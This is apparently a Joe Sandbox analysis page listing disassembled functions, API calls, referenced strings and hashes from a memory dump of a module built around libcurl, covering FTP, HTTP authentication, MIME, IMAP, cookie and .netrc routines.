Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: ___from_strstr_to_strchr$inet_pton
String ID: xn--
API String ID: 1785450883-2826155999
Opcode ID: 52626953298564ac974ee68f6d137e342f1bedf0798371d12087c309adaa4a3a
Instruction ID: 4d1e42ff086cc90a58a8fd85455392836f6058a00e8d94cd6f1dfab88a00d9f1
Opcode Fuzzy Hash: 52626953298564ac974ee68f6d137e342f1bedf0798371d12087c309adaa4a3a
Instruction Fuzzy Hash: C641EA79A4420E5BEF10CE78AD41BBD77ACDF5665CF0401ADDC09DB242EB29CA06D2B0

Function 6B8DEA30 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 155COMMON

Download Yara Rule

Strings

NLST, xrefs: 6B8DEB13, 6B8DEB36
Got a %03d response code instead of the assumed 200, xrefs: 6B8DEA68
%s%s%s, xrefs: 6B8DEB37
Couldn't set desired mode, xrefs: 6B8DEA4A
LIST, xrefs: 6B8DEB18

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_mvsnprintf
String ID: %s%s%s$Couldn't set desired mode$Got a %03d response code instead of the assumed 200$LIST$NLST
API String ID: 3418963191-1262176364
Opcode ID: 20717b79f36620f974b38c2ecea1e7ca83ceb32a2bff85e4b647e03505679785
Instruction ID: 15230230bec12f3c81ff533df7d4a548972d7734a770ab33770cdd007f2c28c1
Opcode Fuzzy Hash: 20717b79f36620f974b38c2ecea1e7ca83ceb32a2bff85e4b647e03505679785
Instruction Fuzzy Hash: 3B413076B102346BDF104A68EC85F6AB7A9DB8576AF004977FD0DE7201D729DC4483E0

Function 6B8ED930 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 128COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 6B8ED9E9
curl_maprintf.LIBCURL(%.*s,00000000,?,?,?,?,?,?,?,?,?,00000000,?,CONNECT,00000000,00000001), ref: 6B8ED9FE

Part of subcall function 6B8F48E0: curl_mvaprintf.LIBCURL(?,?,?,6B8D66CB,%s.%s.tmp,?,?,?,?,?,?), ref: 6B8F48EA

curl_maprintf.LIBCURL(%sAuthorization: Digest %s,Proxy-,?), ref: 6B8EDA61

Strings

Digest, xrefs: 6B8ED93E, 6B8EDA2D
Proxy-, xrefs: 6B8EDA53, 6B8EDA5B
%sAuthorization: Digest %s, xrefs: 6B8EDA5C
%.*s, xrefs: 6B8ED9F9

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_maprintf$___from_strstr_to_strchrcurl_mvaprintf
String ID: %.*s$%sAuthorization: Digest %s$Digest$Proxy-
API String ID: 2694567262-3976116069
Opcode ID: e0a10287625a5bd63ee05ea27d46dac28d2096f32a0979cbd733ca0a6ed5a9ed
Instruction ID: b4270ebfb27f7a8f292f7d60cf764c0675b934f4c8287c3341346b8a7bb43c1f
Opcode Fuzzy Hash: e0a10287625a5bd63ee05ea27d46dac28d2096f32a0979cbd733ca0a6ed5a9ed
Instruction Fuzzy Hash: C7418275B04218AFDF00CFA8D881BAD7BF8EF46344F4484B9E808DB251E735DA558BA1

Function 6B8F28F0 Relevance: 12.2, APIs: 8, Instructions: 199COMMON

Download Yara Rule

APIs

curl_mime_data.LIBCURL(?,?,?), ref: 6B8F2917
curl_mime_filedata.LIBCURL(?,?), ref: 6B8F292A
curl_mime_data_cb.LIBCURL(?,?,?,?,?,?,?), ref: 6B8F2955
curl_mime_init.LIBCURL ref: 6B8F2963
curl_mime_subparts.LIBCURL(?,00000000), ref: 6B8F2976
curl_mime_addpart.LIBCURL(00000000), ref: 6B8F299D
curl_slist_free_all.LIBCURL(00000000,?), ref: 6B8F2A1B
curl_slist_free_all.LIBCURL(?,?), ref: 6B8F2A44

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_slist_free_all$curl_mime_addpartcurl_mime_datacurl_mime_data_cbcurl_mime_filedatacurl_mime_initcurl_mime_subparts
String ID:
API String ID: 3177825088-0
Opcode ID: 870f7e50911d0b6e857151ca31a0bf9c48e2b0d095dbab0debe01f03aebc4c72
Instruction ID: c22c6f4d22d9b488bf99597b6ef29eecdc46d9152cf043875bcb80d550872748
Opcode Fuzzy Hash: 870f7e50911d0b6e857151ca31a0bf9c48e2b0d095dbab0debe01f03aebc4c72
Instruction Fuzzy Hash: 0B51F876A00565ABDF108F28E88195A7768FF05394B0405B8FD099B701E73EED32DBD2

Function 6B8E0900 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 318COMMON

Download Yara Rule

APIs

curl_maprintf.LIBCURL(%s%s,?,?), ref: 6B8E09B1
_strrchr.LIBCMT ref: 6B8E0B63

Strings

Wildcard - Parsing started, xrefs: 6B8E0C1F
%s%s, xrefs: 6B8E09AC
Wildcard - START of "%s", xrefs: 6B8E09E0
Wildcard - "%s" skipped by user, xrefs: 6B8E0A3F

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: _strrchrcurl_maprintf
String ID: %s%s$Wildcard - "%s" skipped by user$Wildcard - Parsing started$Wildcard - START of "%s"
API String ID: 1669751406-1301414817
Opcode ID: 68dcda977bea72720c9013a552802f19c985d1daa28c10582787cab980375dc8
Instruction ID: fd93a2d1bf4b1df6e060e4bba5702887247a3c8d118028aa43f85b566c46057c
Opcode Fuzzy Hash: 68dcda977bea72720c9013a552802f19c985d1daa28c10582787cab980375dc8
Instruction Fuzzy Hash: 41C1B275A006049FDB10CF68D882BC6BBE1FF46315F1448BAE95DCB210EB79E586CB61

Function 6B8EFDE0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 256COMMON

Download Yara Rule

APIs

curl_url_get.LIBCURL(?,00000008,?,00000040), ref: 6B8F005B

Strings

MAILINDEX, xrefs: 6B8EFF69
PARTIAL, xrefs: 6B8EFFD9
UIDVALIDITY, xrefs: 6B8EFEF5
UID, xrefs: 6B8EFF2E
SECTION, xrefs: 6B8EFFA1

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_url_get
String ID: MAILINDEX$PARTIAL$SECTION$UID$UIDVALIDITY
API String ID: 1525506501-2060961330
Opcode ID: dc6d1dc3e6bb91c30610e095a09d82029b58d3391e3d0ac100a290eca3f7502f
Instruction ID: eaaaaebb0700b67b2d7443479d69b32c36fd03a79f8d04384f8ac7cd01505d45
Opcode Fuzzy Hash: dc6d1dc3e6bb91c30610e095a09d82029b58d3391e3d0ac100a290eca3f7502f
Instruction Fuzzy Hash: 13911974E04245AFFB10CE24E851B697BB8AF52349F0048EDEC588B642DB3ADA55C7F1

Function 6B8EDC80 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 249COMMON

Download Yara Rule

APIs

curl_maprintf.LIBCURL(%sAuthorization: Negotiate %s,Proxy-,00000000,?,?,00000000,?), ref: 6B8EDF14

Strings

Curl_output_negotiate, no persistent authentication: cleanup existing context, xrefs: 6B8EDD49
HTTP, xrefs: 6B8EDD6D, 6B8EDE59
Negotiate auth restarted, xrefs: 6B8EDE0A
Proxy-, xrefs: 6B8EDF06, 6B8EDF0E
%sAuthorization: Negotiate %s, xrefs: 6B8EDF0F

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_maprintf
String ID: %sAuthorization: Negotiate %s$Curl_output_negotiate, no persistent authentication: cleanup existing context$HTTP$Negotiate auth restarted$Proxy-
API String ID: 3307269620-819322280
Opcode ID: a6d97043fa1493b628b9f33369ec7383e8265c1613ab3c0b3ae170f567fd6433
Instruction ID: f55cba6aa0bc07a7d3bca0f2606291db5f9b8ad0c22e304d38b9764f88ee515c
Opcode Fuzzy Hash: a6d97043fa1493b628b9f33369ec7383e8265c1613ab3c0b3ae170f567fd6433
Instruction Fuzzy Hash: 3391F875A042199FDB11CF68C880BDABBF5EF86318F0444A9D848D7200D77AE959CBA1

Function 6B8DD6C0 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 188networkCOMMON

Download Yara Rule

APIs

WSAGetLastError.WS2_32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6B8DD874

Strings

*, xrefs: 6B8DD849
FTP response aborted due to select/poll error: %d, xrefs: 6B8DD87B
We got a 421 - timeout!, xrefs: 6B8DD81E
FTP response timeout, xrefs: 6B8DD8BA
QUOT string not accepted: %s, xrefs: 6B8DD89F

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: ErrorLast
String ID: *$FTP response aborted due to select/poll error: %d$FTP response timeout$QUOT string not accepted: %s$We got a 421 - timeout!
API String ID: 1452528299-2335292235
Opcode ID: 02cf3b28e0e3292d7784a0c97c824cd95dfcebfb6251aa5a87defcf42219c11e
Instruction ID: 6be69996089d7e9c2e2724bedf1b015ef577ce1af1f302ff4fde97729b47e1f9
Opcode Fuzzy Hash: 02cf3b28e0e3292d7784a0c97c824cd95dfcebfb6251aa5a87defcf42219c11e
Instruction Fuzzy Hash: 48510436F44208AFEF018E6CDC41BAE7BB5EB45319F0049BAED18D7291EB3995418B91

Function 6B8D1A20 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 166COMMON

Download Yara Rule

APIs

curl_msnprintf.LIBCURL(?,00000005,%c%c%c%c,?,?,?,?), ref: 6B8D1B38
curl_msnprintf.LIBCURL(?,00000005,%c%c%c=,?,?,?), ref: 6B8D1B5D
curl_msnprintf.LIBCURL(?,00000005,%c%c==,?,?), ref: 6B8D1B79

Strings

%c%c%c=, xrefs: 6B8D1B53
%c%c==, xrefs: 6B8D1B6F
%c%c%c%c, xrefs: 6B8D1B2E

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_msnprintf
String ID: %c%c%c%c$%c%c%c=$%c%c==
API String ID: 1809024409-3943651191
Opcode ID: b7315270e009c58a3ea1e8fb7d20fe42c3308f0b6faf5c5a86a4b33f57ac2916
Instruction ID: 44c8275215779661be0c97ba8023335651a0e3793c61205ff4c7e912de629461
Opcode Fuzzy Hash: b7315270e009c58a3ea1e8fb7d20fe42c3308f0b6faf5c5a86a4b33f57ac2916
Instruction Fuzzy Hash: 4751F4719081A55FDB01DF688891BFE7FF89F46305F0545E6ECA4DB252E638CA12CBA0

Function 6B8EADB0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 111COMMON

Download Yara Rule

Strings

If-Unmodified-Since, xrefs: 6B8EAE4C
If-Modified-Since, xrefs: 6B8EAE53, 6B8EAE58, 6B8EAE9D
Invalid TIMEVALUE, xrefs: 6B8EADF9
Last-Modified, xrefs: 6B8EAE45
%s: %s, %02d %s %4d %02d:%02d:%02d GMT, xrefs: 6B8EAE9E

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_mvsnprintf
String ID: %s: %s, %02d %s %4d %02d:%02d:%02d GMT$If-Modified-Since$If-Unmodified-Since$Invalid TIMEVALUE$Last-Modified
API String ID: 3418963191-4153637960
Opcode ID: 3355b1234afa649fb0f7d7ec5efacead545ef475a81cdcfe41abe60542f74cb4
Instruction ID: 74776673512f49fd045c1bdc8fbc013f4df0fe833d929bf1bdf8ae0af055c8f8
Opcode Fuzzy Hash: 3355b1234afa649fb0f7d7ec5efacead545ef475a81cdcfe41abe60542f74cb4
Instruction Fuzzy Hash: 36312D32A4010DABCF10DFB8DD51AADB7B8FF49754F100069E90997251DB3AD915DB90

Function 6B8FA120 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 92COMMON

Download Yara Rule

APIs

curl_getenv.LIBCURL(HOME,000003DC,00000000,000003D8,?,6B8E42F0,?,00000000,00000000,00000000,?,?), ref: 6B8FA136

Part of subcall function 6B8E6310: GetEnvironmentVariableA.KERNEL32(?,00000000,00000001), ref: 6B8E633A

curl_maprintf.LIBCURL(%s%s.netrc,00000000,6B93F918,00000000), ref: 6B8FA157
curl_maprintf.LIBCURL(%s%s_netrc,00000000,6B93F918), ref: 6B8FA196

Strings

HOME, xrefs: 6B8FA131
%s%s.netrc, xrefs: 6B8FA152
%s%s_netrc, xrefs: 6B8FA191

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_maprintf$EnvironmentVariablecurl_getenv
String ID: %s%s.netrc$%s%s_netrc$HOME
API String ID: 2809420521-3384076093
Opcode ID: 439baf2fe8d0492899c1aab9d54172a95149d82626ae4d1116ebaf5c06abbecf
Instruction ID: 708f44e63ffcb642fbe48d95d6cab0752bf96b952fcb87a91c5ffc9c2f0adc99
Opcode Fuzzy Hash: 439baf2fe8d0492899c1aab9d54172a95149d82626ae4d1116ebaf5c06abbecf
Instruction Fuzzy Hash: 02216237544129BB8F011FA8AD05ACB3B79EF862B9B044971FD1883121D73BC57297B1

Function 6B92F88C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

ext-ms-, xrefs: 6B92F8F7
api-ms-, xrefs: 6B92F8E3

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 2bf8a3e2e317776a4dc1fcd6313891f864fecb247dae3711d4d289da9f2935f9
Instruction ID: 190c0318980caaa46d8bcf8dd1a1ebf9c5a4918d026d3706bd86001d5088bdf1
Opcode Fuzzy Hash: 2bf8a3e2e317776a4dc1fcd6313891f864fecb247dae3711d4d289da9f2935f9
Instruction Fuzzy Hash: D421E736D69621BBDB215B648C92B0A376C9F027BCF110170ED55E728AD738ED01C6E1

Function 6B935EEE Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 6B935EB6: _free.LIBCMT ref: 6B935EDB

_free.LIBCMT ref: 6B935F3C

Part of subcall function 6B92F7EA: RtlFreeHeap.NTDLL(00000000,00000000,?,6B935EE0,6B9538A0,00000000,6B9538A0,00000000,?,6B935F07,6B9538A0,00000007,6B9538A0,?,6B93532A,6B9538A0), ref: 6B92F800
Part of subcall function 6B92F7EA: GetLastError.KERNEL32(6B9538A0,?,6B935EE0,6B9538A0,00000000,6B9538A0,00000000,?,6B935F07,6B9538A0,00000007,6B9538A0,?,6B93532A,6B9538A0,6B9538A0), ref: 6B92F812

_free.LIBCMT ref: 6B935F47
_free.LIBCMT ref: 6B935F52
_free.LIBCMT ref: 6B935FA6
_free.LIBCMT ref: 6B935FB1
_free.LIBCMT ref: 6B935FBC
_free.LIBCMT ref: 6B935FC7

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: a8bb62acc84794d0cec4dfd56d9c4c222a678d525f8e7b70c7cbbc07179f796b
Instruction ID: b25ea3cd88e12d8de297041e3b9f6795d59c86967c9e7112833a40892a9354c0
Opcode Fuzzy Hash: a8bb62acc84794d0cec4dfd56d9c4c222a678d525f8e7b70c7cbbc07179f796b
Instruction Fuzzy Hash: 7C112971D45B14FAEA30EBB0CC46FCB7BDDBF2870DF400915A29AA6060DB79E5048690

Function 6B8D6AC0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 60COMMON

Download Yara Rule

APIs

curl_maprintf.LIBCURL(%s%s%s%s%s%s%I64d%s%s,#HttpOnly_,6B93B98E,unknown,6B93B988,6B93B868,6B93B988,100C15FF,5D8B6B95,74DB8504,6B93B98E,00000000,00000000,00000000), ref: 6B8D6B55

Strings

FALSE, xrefs: 6B8D6B1E
%s%s%s%s%s%s%I64d%s%s, xrefs: 6B8D6B50
TRUE, xrefs: 6B8D6B19
unknown, xrefs: 6B8D6AD9, 6B8D6B45
#HttpOnly_, xrefs: 6B8D6B3A, 6B8D6B4F

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: curl_maprintf
String ID: #HttpOnly_$%s%s%s%s%s%s%I64d%s%s$FALSE$TRUE$unknown
API String ID: 3307269620-3622669638
Opcode ID: fa614c5637c284cdecbd0225f511c1297e7a6d4878214d533360672b7224b16d
Instruction ID: 780345763ad898ac237884a693229197679a612c7c68b69be682ab031de3d013
Opcode Fuzzy Hash: fa614c5637c284cdecbd0225f511c1297e7a6d4878214d533360672b7224b16d
Instruction Fuzzy Hash: 14118264700659AFEB148A65DC95B52FBF9AF49394F0582D9EC08DB203D325DD80C7A1

Function 6B92E4BC Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(6B9292EA,00000000,?), ref: 6B92E504
__fassign.LIBCMT ref: 6B92E6E3
__fassign.LIBCMT ref: 6B92E700
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6B92E748
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6B92E788
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 6B92E834

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: 4265f063cbd7fe2a788f12f67cdbdbaa8c7601ff17c1a0ab179b8c2ad8854b2a
Instruction ID: c1863fe4f3d5ce49cf7c67ac4d93ec71dbf82f5314af6e79ab4120ba7068d214
Opcode Fuzzy Hash: 4265f063cbd7fe2a788f12f67cdbdbaa8c7601ff17c1a0ab179b8c2ad8854b2a
Instruction Fuzzy Hash: 44D1BA75D256589FCF15CFA8C8C09EDBBB9BF09304F28016AE855BB245E334E946CB50

Function 6B8FD1F0 Relevance: 9.3, APIs: 6, Instructions: 255COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8FD266
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8FD27A
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8FD2CC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8FD2F9
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8FD362
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B8FD4C1

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 885266447-0
Opcode ID: 193fb2b233c6687e6d7748bdc0fcc155be9083024f1308d3ad034d1fb19cc984
Instruction ID: 0811846a7ff67bf1d12e3cd0a54fdfa6cb68c869a86bbbbba23e8e2c342ca959
Opcode Fuzzy Hash: 193fb2b233c6687e6d7748bdc0fcc155be9083024f1308d3ad034d1fb19cc984
Instruction Fuzzy Hash: A2A1F374E442059BDB10CF78C881BAA7BB8EF95358F1486B9ED1C9B345EB34A941C7A0

Function 6B914F30 Relevance: 9.1, APIs: 6, Instructions: 104COMMON

Download Yara Rule

APIs

VerSetConditionMask.KERNEL32(00000000,00000000,00000002,00000004,?,?), ref: 6B91500B
VerSetConditionMask.KERNEL32(00000000,?,00000001,00000004,?,?), ref: 6B915012
VerSetConditionMask.KERNEL32(00000000,?,00000020,00000005,?,00000001,00000004,?,?), ref: 6B91501F
VerSetConditionMask.KERNEL32(00000000,?,00000010,00000005,?,00000020,00000005,?,00000001,00000004,?,?), ref: 6B915026
VerSetConditionMask.KERNEL32(00000000,?,00000008,00000001,?,00000010,00000005,?,00000020,00000005,?,00000001,00000004,?,?), ref: 6B915032
VerifyVersionInfoA.KERNEL32(0000009C,00000033,00000000), ref: 6B91503F

Memory Dump Source

Source File: 0000000A.00000002.2996515029.000000006B8D1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B8D0000, based on PE: true

Associated: 0000000A.00000002.2996472368.000000006B8D0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997178701.000000006B951000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b8d0000_ast.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersion
String ID:
API String ID: 2793162063-0
Opcode ID: 5ab8ea67c4a4f8b582ae2405d261572ed707b292bd7a325f2860dc30ac8f0ed2
Instruction ID: 8e70ea689f4452d1ce358156af12b5272f0db257eebfdbb5a60e8ef365b52587
